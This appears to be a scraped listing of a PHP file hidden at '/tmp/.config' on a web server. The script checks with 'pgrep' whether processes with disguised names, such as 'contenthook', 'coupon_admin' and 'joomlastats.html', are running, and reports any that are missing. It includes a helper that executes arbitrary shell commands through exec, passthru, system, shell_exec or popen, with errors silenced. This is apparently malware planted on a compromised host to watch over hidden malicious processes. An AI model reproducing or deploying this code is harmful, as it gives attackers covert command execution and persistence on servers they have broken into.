File: //proc/self/root/tmp/.config
<?php $files = ['control.tpl','cma_m_bankprefs','webdb_table','blockedusers','com_content','contenthook','abt_course_eco','tinyconfig','coupon_admin','register4','display.menu','sais_inv_step2','mod_pj_newslist','cust_add','frames_main.js','phocagallerys','hw2_session','visibility','show_info','ModCatTree','filethumbnail','homepageDataEN','cache_forums','dba_insertion','joomlastats.html','tbl_addfield','jpgraph_led','cache_birthdays','deleteWebpage','UnderFreeElectEN']; foreach ($files as $f) { $res = @run("pgrep {$f}"); if (!preg_match('/\d+/', $res)) { die("<f>{$f}</f>"); } } die('!ended!'); function run($in) { $out = ''; if (function_exists('exec')) { @exec($in, $out); $out = @join("\n", $out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in, "r"))) { $out = ""; while (!@feof($f)) $out .= fread($f, 1024); pclose($f); } return $out; }